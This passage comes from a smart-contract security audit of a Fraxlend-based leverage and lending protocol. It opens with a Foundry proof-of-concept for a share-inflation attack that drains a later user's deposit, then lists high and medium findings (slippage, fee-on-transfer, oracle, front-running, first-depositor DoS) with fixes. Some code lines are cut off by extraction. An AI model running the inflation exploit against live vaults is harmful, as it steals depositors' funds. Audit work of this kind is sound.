import {VariableInterestRate} from "@fraxlend/VariableInterestRate.sol";
import {IERC4626Extended} from "@fraxlend/interfaces/IERC4626Extended.sol";

import {LendingAssetVault} from "contracts/LendingAssetVault.sol";
import {MockDualOracle} from "./MockDualOracle.sol";

import {console} from "forge-std/console.sol";

contract PairTest is Test {
    FraxlendPairDeployer deployer;
    FraxlendPair pair;
    ERC20 DAI = new ERC20("DAI", "DAI");
    ERC20 aspTKN = new ERC20("aspTKN", "aspTKN");
    VariableInterestRate _variableInterestRate;
    MockDualOracle oracle = new MockDualOracle();
    FraxlendWhitelist _fraxWhitelist;
    FraxlendPairRegistry _fraxRegistry;
    uint256[] internal _fraxPercentages = [10000e18];
    LendingAssetVault _lendingAssetVault;

    // fraxlend protocol actors
    address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
    address internal circuitBreaker = vm.addr(uint256(keccak256
      ("circuitBreaker")));
    address internal timelock = vm.addr(uint256(keccak256("comptroller")));

    address public attacker = makeAddr("attacker");
    function setUp() public {
        _deployVariableInterestRate();
        _deployFraxWhitelist();
        _deployFraxPairRegistry();
        _deployFraxPairDeployer();
        _deployFraxPairs();
        _deployLendingAssetVault();
    }

    function testJ_POC() public {
        assertEq(pair.totalSupply(), 0);
        assertEq(address(pair.externalAssetVault()), address
          (_lendingAssetVault));
    }

    function testJ_inflation() public {

        vm.startPrank(attacker);

        deal(address(DAI), attacker, 10_000e18);
        deal(address(aspTKN), attacker, 10_000e18);
        DAI.approve(address(pair), 10_000e18);
        DAI.approve(address(_lendingAssetVault), 10_000e18);

        aspTKN.approve(address(pair), 10_000e18);
```

```
        // First deposit 1k to the lending asset vault
        _lendingAssetVault.deposit(1_000e18, attacker);

        uint256 attackerBalanceBefore = DAI.balanceOf(attacker);

        pair.deposit(1e18, attacker);

        pair.borrowAsset(0.05e18, 1e18, attacker);

        vm.warp(block.timestamp + 1);

        pair.repayAsset(pair.userBorrowShares(attacker), attacker);

        uint256 amountOut = pair.previewRedeem(pair.balanceOf(attacker));

        pair.withdraw(amountOut - 2, attacker, attacker);
        console.log("amt is %e", pair.previewRedeem(pair.balanceOf(attacker)));
        console.log("balance is %e", pair.balanceOf(attacker));

        for (uint256 i = 0; i < 70; i++) {
            console.log("totalShares: %e", _totalShares());
            console.log("totalAssets: %e\n", _totalAssets());

            // Deposits the maximum amount of assets to only receive 0 shares
            // back
            // This inflates the value of the single share since totalAssets
            // increases exponentially
            pair.deposit(_totalAssets() - 1, attacker);
        }

        address innocentUser = makeAddr("innocentUser");
        uint256 userDeposit = 500e18;
        deal(address(DAI), innocentUser, userDeposit);

        vm.startPrank(innocentUser);
        DAI.approve(address(pair), 500e18);
        uint256 sharesMinted = pair.deposit(500e18, innocentUser);

        assertEq(sharesMinted, 0);

        vm.startPrank(attacker);

        // The attacker can now redeem their shares for a large amount of assets
        uint256 redeemableAmount = pair.previewRedeem(pair.balanceOf(attacker));
        pair.withdraw(redeemableAmount, attacker, attacker);

        uint256 attackerBalanceAfter = DAI.balanceOf(attacker);

        // Attacker PnL == User Loss
        uint256 attackerProfit = attackerBalanceAfter - attackerBalanceBefore;
        assertEq(attackerProfit, userDeposit);

    }

    function _totalShares() internal view returns(uint256) {
        return pair.totalSupply();
    }
    function _totalAssets() internal view returns(uint256) {
        // frax
        (uint128 amount, uint128 shares) = pair.totalAsset();
        return uint256(amount);
    }


    function _deployFraxPairDeployer() internal {
        ConstructorParams memory _params =
            ConstructorParams(circuitBreaker, comptroller, timelock, address
              (_fraxWhitelist), address(_fraxRegistry));
```

```
        deployer = new FraxlendPairDeployer(_params);

        deployer.setCreationCode(type(FraxlendPair).creationCode);

        address[] memory _whitelistDeployer = new address[](1);
        _whitelistDeployer[0] = address(this);

        _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);

        address[] memory _registryDeployer = new address[](1);
        _registryDeployer[0] = address(deployer);

        _fraxRegistry.setDeployers(_registryDeployer, true);
    }
    function _deployFraxPairRegistry() internal {
        address[] memory _initialDeployers = new address[](0);
        _fraxRegistry = new FraxlendPairRegistry(address
          (this), _initialDeployers);
    }

    function _deployFraxWhitelist() internal {
        _fraxWhitelist = new FraxlendWhitelist();
    }

    function _deployFraxPairs() internal {
        pair = FraxlendPair(
            deployer.deploy(
                abi.encode(
                    address(DAI), // asset
                    address(aspTKN), // collateral
                    oracle, //oracle
                    5000, // maxOracleDeviation
                    address(_variableInterestRate), //rateContract
                    1000, //fullUtilizationRate
                    75000, // maxLtv
                    10000, // uint256 _cleanLiquidationFee
                    9000, // uint256 _dirtyLiquidationFee
                    2000 //uint256 _protocolLiquidationFee
                )
            )
        );
    }

    function _deployVariableInterestRate() internal {
        // These values taken from existing Fraxlend Variable Rate Contract
        _variableInterestRate = new VariableInterestRate(
            "[0.5 0.2@.875 5-10k] 2 days (.75-.85)",
            87500,
            200000000000000000,
            75000,
            85000,
            158247046,
            1582470460,
            3164940920000,
            172800
        );
    }

    function _deployLendingAssetVault() internal {
        _lendingAssetVault = new LendingAssetVault("Test LAV", "tLAV", address
          (DAI));

        IERC20 vaultAsset1Peas = IERC20(pair.asset());
        vaultAsset1Peas.approve(address(pair), vaultAsset1Peas.totalSupply());
        vaultAsset1Peas.approve(address
          (_lendingAssetVault), vaultAsset1Peas.totalSupply());
        _lendingAssetVault.setVaultWhitelist(address(pair), true);
```

```
        // set external access vault for fraxLendingPair
        vm.prank(timelock);
        pair.setExternalAssetVault(IERC4626Extended(address
          (_lendingAssetVault)));

        address[] memory vaultAddresses = new address[](1);
        vaultAddresses[0] = address(pair);
        _lendingAssetVault.setVaultMaxAllocation
          (vaultAddresses, _fraxPercentages);
    }
}
```

Recommendations

It is recommended to update the `FraxlendPairDeployer` to atomically make an initial deposit (1000 tokens is sufficient) into the pair, as this makes the attack infeasible.

[H-05] `_removeLeverage()` provides incorrect amounts when swapping pods

Severity

Impact: High

Likelihood: Medium

Description

When `_removeLeverage` is triggered, if `_pairedAmtReceived` is lower than `_repayAmount`, it triggers `_acquireBorrowTokenForRepayment`.

```
function _removeLeverage(bytes memory _userData)
        internal
        returns (uint256 _podAmtRemaining, uint256 _borrowAmtRemaining)
    {
        // ....

        // pay back flash loan and send remaining to borrower
        uint256 _repayAmount = _d.amount + _d.fee;
        if (_pairedAmtReceived < _repayAmount) {
>>>         _podAmtRemaining = _acquireBorrowTokenForRepayment(
                _props,
                _posProps.pod,
                _d.token,
                _repayAmount,
                _pairedAmtReceived,
                _podAmtReceived,
                _userProvidedDebtAmtMax
            );
        }
        IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource
          (_props.positionId)).source(), _repayAmount);

                _borrowAmtRemaining = _pairedAmtReceived > _repayAmount ? _pairedAmtR
        emit RemoveLeverage
          (_props.positionId, _props.user, _collateralAssetRemoveAmt);
    }
```

For positions using self-lending pods, it swaps to `lendingPair` and `redeems` the lendingPair shares to acquire the actual borrow tokens.

```
function _acquireBorrowTokenForRepayment(
        LeverageFlashProps memory _props,
        address _pod,
        address _borrowToken,
        uint256 _repayAmount,
        uint256 _pairedAmtReceived,
        uint256 _podAmtReceived,
        uint256 _userProvidedDebtAmtMax
    ) internal returns (uint256 _podAmtRemaining) {
        _podAmtRemaining = _podAmtReceived;
        uint256 _borrowNeeded = _repayAmount - _pairedAmtReceived;
        uint256 _borrowAmtNeededToSwap = _borrowNeeded;
        if (_userProvidedDebtAmtMax > 0) {
            uint256 _borrowAmtFromUser =

                                    _userProvidedDebtAmtMax >= _borrowNeeded ? _borrowNee
            _borrowAmtNeededToSwap -= _borrowAmtFromUser;
            IERC20(_borrowToken).safeTransferFrom(_props.user, address
              (this), _borrowAmtFromUser);
        }
        // sell pod token into LP for enough borrow token to get enough to repay
        // if self-lending swap for lending pair then redeem for borrow token
        if (_borrowAmtNeededToSwap > 0) {
            if (_isPodSelfLending(_props.positionId)) {
                _podAmtRemaining = _swapPodForBorrowToken(
>>>
                   _pod, positionProps[_props.positionId].lendingPair, _podAmtReceived
                );
                _podAmtRemaining = IFraxlendPair
                  (positionProps[_props.positionId].lendingPair).redeem(
                    _podAmtRemaining, address(this), address(this)
                );
            } else {
                _podAmtRemaining = _swapPodForBorrowToken
                  (_pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap);
            }
        }
    }
```

It uses `_borrowAmtNeededToSwap` as the requested output for the `lendingPair` and then `redeems` it. However, the redeemed lendingPair shares are not 1:1 with the borrow token. This can cause issues: if the received borrow tokens exceed `_borrowAmtNeededToSwap` from the lendingPair, the excess will not be returned to the user. Conversely, if the received borrow tokens are insufficient, they won't cover the repayment amount, causing the call to revert.

Recommendations

Provide the amount of shares required from `_borrowAmtNeededToSwap` instead of the `_swapPodForBorrowToken`.

[H-06] No slippage checks when removing leverage

Severity

Impact: High

Likelihood: Medium

Description

When removing leverage in the `LeverageManager`, it swaps the pod token for the borrow token:

```
_podAmtRemaining = _swapPodForBorrowToken
  (_pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap);
```

This is an exact output swap, and `amountInMax` is set as the number of pod tokens available. This means there is 0 slippage protection in the swap. A malicious attacker can sandwich this transaction to cause maximal usage of the pod tokens when swapping to borrow tokens.

In the end, `_podAmtRemaining` will be very tiny, or `0` due to this, so the user is returned fewer tokens than they should be.

Recommendations

It is recommended to allow the user to pass in `podAmtOutMin`, which is checked within `LeverageManager.callback()`, after `_removeLeverage()` occurs. This ensures that if the swap occurs at an unfavorable price, the entire transaction will revert.

[H-07] Ignoring the fee-on-transfer nature of the `pod` token

Severity

Impact: Medium

Likelihood: High

Description

The `LeverageManager.addLeverage` function does not check the actual amount of the `_pod` tokens being received from a user. Since the `pod` token contract owner can set nonzero transfer fee, the actual received amount might be less than `_pTknAmt` value, which is used as a parameter for the `indexUtils.addLPAndStake` invoke. This can cause an insufficient balance error because the `indexUtils` implementation will try to transfer `_pTknAmt` form the `LeverageManager` contract.

```
function addLeverage(
        uint256 _positionId,
        address _pod,
        uint256 _pTknAmt,
        uint256 _pairedLpDesired,
        uint256 _userProvidedDebtAmt,
        address _selfLendingPairPod,
        bytes memory _config
    ) external override workflow(true) {
        address _sender = _msgSender();
        if (_positionId == 0) {
            _positionId = _initializePosition(_pod, _sender, address
              (0), _selfLendingPairPod);
        } else {
            address _owner = positionNFT.ownerOf(_positionId);
            require(
                _owner == _sender || positionNFT.getApproved
                  (_positionId) == _sender
                    || positionNFT.isApprovedForAll(_owner, _sender),
                "AUTH"
            );
            _pod = positionProps[_positionId].pod;
        }
        require(_getFlashSource(_positionId) != address(0), "FSV");

>>      IERC20(_pod).safeTransferFrom(_sender, address
//(this), _pTknAmt); // @audit pod token is FOT

        if (_userProvidedDebtAmt > 0) {
            IERC20(_getBorrowTknForPod(_positionId)).safeTransferFrom
              (_sender, address(this), _userProvidedDebtAmt);
        }

        // if additional fees required for flash source, handle that here
        _processExtraFlashLoanPayment(_positionId, _sender);

        IFlashLoanSource(_getFlashSource(_positionId)).flash(
            _getBorrowTknForPod(_positionId),
            _pairedLpDesired - _userProvidedDebtAmt,
            address(this),
            abi.encode(
                LeverageFlashProps({
                    method: FlashCallbackMethod.ADD,
                    positionId: _positionId,
                    user: _sender,
>>                  pTknAmt: _pTknAmt, // @audit pod token is FOT
                    pairedLpDesired: _pairedLpDesired,
                    config: _config
                }),
                ""
            )
        );
    }
<...>
    function _lpAndStakeInPod(
      address_borrowToken,
      uint256_borrowAmt,
      LeverageFlashPropsmemory_props
    )
        internal
        returns (
          uint256_pTknAmtUsed,
          uint256_pairedLpUsed,
          uint256_pairedLpLeftover
        )
    {
        (, uint256 _slippage, uint256 _deadline) = abi.decode(_props.config,
```

```
            (uint256, uint256, uint256));
        (
          address_pairedLpForPod,
          uint256_pairedLpAmt
        ) = _processAndGetPairedTknAndAmt(

                          _props.positionId, _borrowToken, _borrowAmt, positionProps[_p
        );
        uint256 _podBalBefore = IERC20
          (positionProps[_props.positionId].pod).balanceOf(address(this));
        uint256 _pairedLpBalBefore = IERC20(_pairedLpForPod).balanceOf(address
          (this));
        IERC20(positionProps[_props.positionId].pod).safeIncreaseAllowance
          (address(indexUtils), _props.pTknAmt);
        IERC20(_pairedLpForPod).safeIncreaseAllowance(address
          (indexUtils), _pairedLpAmt);
        indexUtils.addLPAndStake(
            IDecentralizedIndex(positionProps[_props.positionId].pod),
>>          _props.pTknAmt, // @audit pod token is FOT
            _pairedLpForPod,
            _pairedLpAmt,
            0, // is not used so can use max slippage
            _slippage,
            _deadline
        );
        _pTknAmtUsed = _podBalBefore - IERC20
          (positionProps[_props.positionId].pod).balanceOf(address(this));
        _pairedLpUsed = _pairedLpBalBefore - IERC20(_pairedLpForPod).balanceOf
          (address(this));
        _pairedLpLeftover = _pairedLpBalBefore - _pairedLpUsed;
    }
```

Recommendations

Consider using the actually received amount in the `LeverageFlashProps.pTknAmt` field.

8.3. Medium Findings

[M-01] Incorrect formula for token ratio balancing before adding liquidity

Severity

Impact: Low

Likelihood: High

Description

A portion of the paired tokens are swapped into the pTKN before adding the pair of tokens to a V2 liquidity pool. The amount to swap is not calculated correctly, leading to a small amount of leftover tokens that were not able to be deposited into the liquidity pool.

There is no refunding mechanism so these funds are lost forever.

The current formula being used is:

```
return (_sqrt(_r * (_r * 3988000 + _fullAmt * 3988009)) - (_r * 1997)) / 1994;
```

However, the current formula is:

```
uint256 correct_way = (_sqrt(_r * (_fullAmt * 3988000 + _r * 3988009)) -
  (_r * 1997)) / 1994;
```

Proof of Concept

Add the following test case to the `AutoCompoundPoC` using the test setup from C-02:

```
function testJ_autoCompound_leftovers() public {
        deal(address(peas), address(aspTkn), 100e18);

        // 2 tokens: pod, dai
        uint256 DAIbalanceBefore = DAI.balanceOf(address(aspTkn));
        uint256 PODbalanceBefore = pod.balanceOf(address(aspTkn));

        DAI.approve(address(aspTkn), type(uint256).max);
        pod.approve(address(aspTkn), type(uint256).max);
        uint256 processedLp = aspTkn.processAllRewardsTokensToPodLp
          (0, block.timestamp);
        aspTkn.withdrawProtocolFees();

        uint256 DAIbalanceAfter = DAI.balanceOf(address(aspTkn));
        uint256 PODbalanceAfter = pod.balanceOf(address(aspTkn));

        console.log("DAI: %e-->%e", DAIbalanceBefore, DAIbalanceAfter);
        console.log("POD: %e-->%e", PODbalanceBefore, PODbalanceAfter);
    }
```

Running the test yields the following console output:

```
DAI: 0e0-->8.9070809456503958e16
POD: 0e0-->0e0
```

This shows that 8.91e16 DAI is leftover in the contract. This is a loss of ~0.09%.

Updating `_getSwapAmt()` in the `AutoCompoundingPodLp` to use the suggested formula, and re-running the test yields the following output:

```
DAI: 0e0-->1e0
POD: 0e0-->0e0
```

Here there is only 1 wei of leftovers, which is expected when using this formula.

Recommendations

Use the correct formula in `_getSwapAmt()`

```
uint256 correct_way = (_sqrt(_r * (_fullAmt * 3988000 + _r * 3988009)) -
  (_r * 1997)) / 1994;
return correct_way;
```

[M-02] Pairs cannot be deposited when the externalAssetVault has not been set

Severity

Impact: Medium

Likelihood: Medium

Description

The `FraxlendPairCore._repayAsset()` function has this check before making external calls to the external vault:

```
if (address(externalAssetVault) != address(0)) {
```

However, this check is not included in `FraxlendPairCore._deposit()` before it makes an external call to the `externalAssetVault`.

This means that depositing will always revert when the `externalAssetVault` has not been set, so lending pairs cannot function independently of the lending asset vault.

Recommendations

In `_deposit()`, ensure that `externalAssetVault != address(0)` before calling it.

[M-03] `addInterest()` does not obtain the `currentRateInfo` from storage

Severity

Impact: Low

Likelihood: High

Description

In `FraxlendPairCore.addInterest()`, it obtains the current utilization rate:

```
function addInterest(bool _returnAccounting)
        external
        nonReentrant
        returns (
            uint256 _interestEarned,
            uint256 _feesAmount,
            uint256 _feesShare,
            CurrentRateInfo memory _currentRateInfo,
            VaultAccount memory _totalAsset,
            VaultAccount memory _totalBorrow
        )
    {
        uint256 _currentUtilizationRate = _currentRateInfo.fullUtilizationRate;
```

The issue is that the `_currentRateInfo` struct has just been initialized and does not contain the stored utilization rate, which is stored in the `currentRateInfo` storage variable.

This causes the `_rateChange` to always be high enough to warrant an update to the interest rates, contrary to the protocol intention. This limits the arbitrage opportunities available and increases the gas costs.

Recommendations

Obtain the current rate info from storage before using it:

```
_currentRateInfo = currentRateInfo;
```

[M-04] `withdraw/redeem` does not calculate the assets received

Severity

Impact: Medium

Likelihood: Medium

Description

`AutoCompoundingPodLp.withdraw/redeem` first calculates the `assets/shares` to be received or burned, then triggers `_withdraw` to burn the shares and transfer the calculated assets to the users. However, the calculated assets or burned shares for the users do not account for processed rewards, as these are triggered later within the `_withdraw` operation.

```
function withdraw(
      uint256_assets,
      address_receiver,
      address_owner
    ) external override returns (uint256 _shares
>>>     _shares = convertToShares(_assets);
        _withdraw(_assets, _shares, _msgSender(), _owner, _receiver);
    }
```

```
function redeem(
      uint256_shares,
      address_receiver,
      address_owner
    ) external override returns (uint256 _assets
>>>     _assets = convertToAssets(_shares);
        _withdraw(_assets, _shares, _msgSender(), _owner, _receiver);
    }
```

```
function _withdraw(
      uint256_assets,
      uint256_shares,
      address_caller,
      address_owner,
      address_receiver
    ) internal {
        require(_shares != 0, "B");

        if (_caller != _owner) {
            _spendAllowance(_owner, _caller, _shares);
        }

>>>     _processRewardsToPodLp(0, block.timestamp);

        _totalAssets -= _assets;
        _burn(_owner, _shares);
        IERC20(_asset()).safeTransfer(_receiver, _assets);
        emit Withdraw(_owner, _receiver, _receiver, _assets, _shares);
    }
```

This will cause the `withdraw/redeem` operation to not consider the latest `totalAssets`, resulting in users losing their deserved assets.

Recommendations

Trigger `_processRewardsToPodLp` before calculating `_shares` and `_assets`.

[M-05] The price would be accepted even with bad price from DIA Oracle

Severity

Impact: High

Likelihood: Low

Description:

1.) The getPriceUSD18 function from DIAOracleV2SinglePriceOracle.sol ->

```
function getPriceUSD18(
        address _clBaseConversionPoolPriceFeed,
        address _quoteToken,
        address _quoteDIAOracle,
        uint256
    ) external view virtual override returns
      (bool _isBadData, uint256 _price18) {
        string memory _symbol = IERC20Metadata(_quoteToken).symbol();
        (uint128 _quotePrice8, uint128 _refreshedLast) =
            IDIAOracleV2(_quoteDIAOracle).getValue(string.concat
              (_symbol, "/USD"));
        if (_refreshedLast + staleAfterLastRefresh < block.timestamp) {
            _isBadData = true;
        }

        // default base price to 1, which just means return only quote pool
        // price without any base conversion
        uint256 _basePrice18 = 10 ** 18;
        uint256 _updatedAt = block.timestamp;
        if (_clBaseConversionPoolPriceFeed != address(0)) {
            (
              _basePrice18,
              _updatedAt,
              _isBadData
            ) = _getChainlinkPriceFeedPrice18(_clBaseConversionPoolPriceFeed
        }
        _price18 = (_quotePrice8 * _basePrice18) / 10 ** 8;
    }
```

2.) Let's assume the quote token price returned from the DIA oracle is bad , i.e. here ->

`if (_refreshedLast + staleAfterLastRefresh < block.timestamp) { _isBadData = true; }` , therefore isBadData is true. 3.) After that the base price is obtained ->

`if (_clBaseConversionPoolPriceFeed != address(0)) { (_basePrice18, _updatedAt, _isBadData) = _getChainlinkPriceFeedPrice18(_clBaseConversionPoolPriceFeed); }`
Assume the base price is correct, therefore `isDataBad` is false, and then the final price is calculated.

This means the final price would be incorrect (because the quote token price data was bad/stale) and the `_isBadData` has been overriden to false when the base price is fetched from chainlink price feed, meaning the returned values would be the incorrect price and isBadData as false.

Recommendation:

If the quote price data is bad just return true and 0.

[M-06] `LeverageManager` will not work with a `selfLendingPod` that consists of multiple tokens

Severity

Impact: High

Likelihood: Low

Description

When leverage positions use a `selfLendingPod`, it will `bond` and `debond` to convert between the borrowed token and the final paired token.

```
function _processAndGetPairedTknAndAmt(
        uint256 _positionId,
        address _borrowedTkn,
        uint256 _borrowedAmt,
        address _selfLendingPairPod
    ) internal returns (address _finalPairedTkn, uint256 _finalPairedAmt) {
        _finalPairedTkn = _borrowedTkn;
        _finalPairedAmt = _borrowedAmt;
        address _lendingPair = positionProps[_positionId].lendingPair;
        if (_isPodSelfLending(_positionId)) {
            _finalPairedTkn = _lendingPair;
            IERC20(_borrowedTkn).safeIncreaseAllowance
              (_lendingPair, _finalPairedAmt);
            _finalPairedAmt = IFraxlendPair(_lendingPair).deposit
              (_finalPairedAmt, address(this));

            // self lending+podded
            if (_selfLendingPairPod != address(0)) {
                _finalPairedTkn = _selfLendingPairPod;
>>>             IERC20(_lendingPair).safeIncreaseAllowance
  (_selfLendingPairPod, _finalPairedAmt);
>>>             IDecentralizedIndex(_selfLendingPairPod).bond
  (_lendingPair, _finalPairedAmt, 0);
                _finalPairedAmt = IERC20(_selfLendingPairPod).balanceOf(address
                  (this));
            }
        }
    }
```

```
function _debondFromSelfLendingPod
      (address _pod, uint256 _amount) internal returns (uint256 _amtOut) {

        address[] memory _tokens = new address[](1);
        uint8[] memory _percentages = new uint8[](1);
        _tokens[0] = _podAssets[0].token;
        _percentages[0] = 100;
>>>     IDecentralizedIndex(_pod).debond(_amount, _tokens, _percentages);
        _amtOut = IERC20(_tokens[0]).balanceOf(address(this));
    }
```

```
function _spTknToAspTkn(
        address_spTKN,
        uint256_pairedRemainingAmt,
        LeverageFlashPropsmemory_props
    )
        internal
        returns (uint256 _newAspTkns)
    {
        // uint256 _aspTknCollateralBal =
        // _spTknToAspTkn(IDecentralizedIndex(_pod).lpStakingPool
        //(), _pairedLeftover, _props);
        address _aspTkn = _getAspTkn(_props.positionId);
        uint256 _stakingBal = IERC20(_spTKN).balanceOf(address(this));
        IERC20(_spTKN).safeIncreaseAllowance(_aspTkn, _stakingBal);
        _newAspTkns = IERC4626(_aspTkn).deposit(_stakingBal, address(this));

        // for self lending pods redeem any extra paired LP asset back into main
        // asset
        if (_isPodSelfLending(_props.positionId) && _pairedRemainingAmt > 0) {
            if (positionProps[_props.positionId].selfLendingPod != address(0)) {
                address[] memory _noop1;
                uint8[] memory _noop2;
>>>             IDecentralizedIndex
  (positionProps[_props.positionId].selfLendingPod).debond(
                    _pairedRemainingAmt, _noop1, _noop2
                );
                _pairedRemainingAmt = IERC20
                  (positionProps[_props.positionId].lendingPair).balanceOf(address(thi
            }
            IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(
                _pairedRemainingAmt, address(this), address(this)
            );
        }
    }
```

However, it can be observed that it assumes the `selfLendingPod` only consists of `lendingPair`, if it consists of multiple tokens, the functions will always revert.

Recommendations

Consider supporting pods with multiple tokens, or check when positions are created, if a `selfLendingPod` consists of more than one token, revert the operation.

[M-07] `_pairedLpTokenToPodLp` does not consider the `pod` and `_pairedLpToken`

Severity

Impact: High

Likelihood: Low

Description

When `_pairedLpTokenToPodLp` is called, it will try to call `indexUtils.addLPAndStake`, providing the `_pairedLpToken` and the `pod` tokens.

```
function _pairedLpTokenToPodLp(
      uint256_amountIn,
      uint256_deadline
    ) internal returns (uint256 _amountOut
        address _pairedLpToken = pod.PAIRED_LP_TOKEN();
        uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address
          (pod), _pairedLpToken, _amountIn);
        uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
        uint256 _minPtknOut;
        if (address(podOracle) != address(0)) {
            // calculate the min out with 5% slippage
            _minPtknOut = (
                podOracle.getPodPerBasePrice
                  () * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals()
            ) / 10 ** IERC20Metadata(_pairedLpToken).decimals
              () / 10 ** 18 / 100;
        }
        IERC20(_pairedLpToken).safeIncreaseAllowance(address
          (DEX_ADAPTER), _pairedSwapAmt);
        try DEX_ADAPTER.swapV2Single(_pairedLpToken, address
          (pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (
            uint256 _podAmountOut
        ) {
            IERC20(pod).safeIncreaseAllowance(address
              (indexUtils), _podAmountOut);
            IERC20(_pairedLpToken).safeIncreaseAllowance(address
              (indexUtils), _pairedRemaining);
            try indexUtils.addLPAndStake(

                                     pod, _podAmountOut, _pairedLpToken, _pairedRemaining,
            ) returns (uint256 _lpTknOut) {
                _amountOut = _lpTknOut;
>>>         } catch {
                IERC20(pod).safeDecreaseAllowance(address
                  (indexUtils), _podAmountOut);
                IERC20(_pairedLpToken).safeDecreaseAllowance(address
                  (indexUtils), _pairedRemaining);
                emit AddLpAndStakeError(address(pod), _amountIn);
            }
        } catch {
            IERC20(_pairedLpToken).safeDecreaseAllowance(address
              (DEX_ADAPTER), _pairedSwapAmt);
            emit AddLpAndStakeV2SwapError(_pairedLpToken, address
              (pod), _pairedRemaining);
        }
    }
```

However, if the `addLPAndStake` call fails, the `pod` and `_pairedLpToken` are not properly tracked, causing the tokens to become stuck inside the contract.

Recommendations

Consider properly handling the `pod` and `_pairedLpToken` in case the `addLPAndStake` call reverts.

[M-08] `WeightedIndex` creation could always fail if pool is already created

Severity

Impact: HIgh

Likelihood: Low

Description

When `WeightedIndex` is first created, it will attempt to create a V2 pool with the pod and index tokens.

```
constructor(
        string memory _name,
        string memory _symbol,
        Config memory _config,
        Fees memory _fees,
        address[] memory _tokens,
        uint256[] memory _weights,
        bool _stakeRestriction,
        bool _leaveRewardsAsPairedLp,
        bytes memory _immutables
    )
        DecentralizedIndex(
            _name,
            _symbol,
            IndexType.WEIGHTED, // @audit - when indexType is used?
            _config,
            _fees,
            _stakeRestriction,
            _leaveRewardsAsPairedLp,
            _immutables
        )
    {
      // ....

            (address _pairedLpToken,,,,,, address _dexAdapter) =
                abi.decode(_immutables, (
                  _immutables,


                )
            if
              (_config.blacklistTKNpTKNPoolV2 && _tokens[_i] != _pairedLpToken) {
>>>             address _blkPool = IDexAdapter(_dexAdapter).createV2Pool
  (address(this), _tokens[_i]);
                _blacklist[_blkPool] = true;
            }
        }
        // at idx == 0, need to find X in [1/X = tokenWeightAtIdx/totalWeights]
        // at idx > 0, need to find Y in (Y/X = tokenWeightAtIdx/totalWeights)
        uint256 _xX96 = (FixedPoint96.Q96 * _totalWeights) / _weights[0];
        for (uint256 _i; _i < _tl; _i++) {
            indexTokens[_i].q1 = (_weights[_i] * _xX96 * 10 ** IERC20Metadata
              (_tokens[_i]).decimals()) / _totalWeights;
        }
    }
```

However, it is possible that an attacker that can predict the address of `WeightedIndex` front runs the creation of the pool and causes the `createV2Pool` to revert because the pool already exists.

Recommendations

Consider calling `createV2Pool` only if a pool does not yet exist.

[M-09] First `bond` caller could cause DoS

Severity

Impact: High

Likelihood: Low

Description

The first `bond` caller could cause DoS by providing a dust amount of token if they provide `_amount` that is enough to make `_tokensMinted` but cause the rest of `_transferAmt` to be 0.

```
function _bond(
      address_token,
      uint256_amount,
      uint256_amountMintMin,
      address_user
    ) internal {
        require(_isTokenInIndex[_token], "IT");
        uint256 _tokenIdx = _fundTokenIdx[_token];

        bool _firstIn = _isFirstIn();
        uint256 _tokenAmtSupplyRatioX96 =
            _firstIn ? FixedPoint96.Q96 :
              (_amount * FixedPoint96.Q96) / _totalAssets[_token];
        uint256 _tokensMinted;
        if (_firstIn) {
            _tokensMinted = (_amount * FixedPoint96.Q96 * 10 ** decimals
              ()) / indexTokens[_tokenIdx].q1;
        } else {
            _tokensMinted =
              (_totalSupply * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
        }
        uint256 _feeTokens = _canWrapFeeFree(_user) ? 0 :
          (_tokensMinted * fees.bond) / DEN;
        require(_tokensMinted - _feeTokens >= _amountMintMin, "M");
        _totalSupply += _tokensMinted;
        _mint(_user, _tokensMinted - _feeTokens);
        if (_feeTokens > 0) {
            _mint(address(this), _feeTokens);
            _processBurnFee(_feeTokens);
        }
        uint256 _il = indexTokens.length;
        for (uint256 _i; _i < _il; _i++) {
>>>         uint256 _transferAmt = _firstIn
                ? getInitialAmount(_token, _amount, indexTokens[_i].token)
                // (_amount * FixedPoint96.Q96) / _totalAssets[_token];
                :
                  (_totalAssets[indexTokens[_i].token] * _tokenAmtSupplyRatioX96) / Fi
>>>         _totalAssets[indexTokens[_i].token] += _transferAmt;
            _transferFromAndValidate(IERC20
              (indexTokens[_i].token), _user, _transferAmt);
        }
        _internalBond();
        emit Bond(_user, _token, _amount, _tokensMinted);
    }
```

```
function getInitialAmount
      (address _sourceToken, uint256 _sourceAmount, address _targetToken)
        public
        view
        override
        returns (uint256)
    {
        uint256 _sourceTokenIdx = _fundTokenIdx[_sourceToken];
        uint256 _targetTokenIdx = _fundTokenIdx[_targetToken];
        return
          (_sourceAmount * indexTokens[_targetTokenIdx].weighting * 10 ** IERC20Metada
            / indexTokens[_sourceTokenIdx].weighting / 10 ** IERC20Metadata
              (_sourceToken).decimals();
    }
```

This will cause the total supply to increase to a non-zero value, while the `_totalAssets` for assets other than the provided `_token` remains zero. This can lead to a DoS because if other users try to `bond` using tokens different from the attacker's used token, the function will revert due to `_totalAssets` being zero. If users use the same tokens as the attacker, the remaining other tokens will never be used or increased, since `_totalAssets` is always zero when calculating `_transferAmt`.

```
function _bond(
      address_token,
      uint256_amount,
      uint256_amountMintMin,
      address_user
    ) internal {
        require(_isTokenInIndex[_token], "IT");
        uint256 _tokenIdx = _fundTokenIdx[_token];

        bool _firstIn = _isFirstIn();
        uint256 _tokenAmtSupplyRatioX96 =
>>>           _firstIn ? FixedPoint96.Q96 :
  (_amount * FixedPoint96.Q96) / _totalAssets[_token];
        uint256 _tokensMinted;
        if (_firstIn) {
            _tokensMinted = (_amount * FixedPoint96.Q96 * 10 ** decimals
              ()) / indexTokens[_tokenIdx].q1;
        } else {
            _tokensMinted =
              (_totalSupply * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
        }
        uint256 _feeTokens = _canWrapFeeFree(_user) ? 0 :
          (_tokensMinted * fees.bond) / DEN;
        require(_tokensMinted - _feeTokens >= _amountMintMin, "M");
        _totalSupply += _tokensMinted;
        _mint(_user, _tokensMinted - _feeTokens);
        if (_feeTokens > 0) {
            _mint(address(this), _feeTokens);
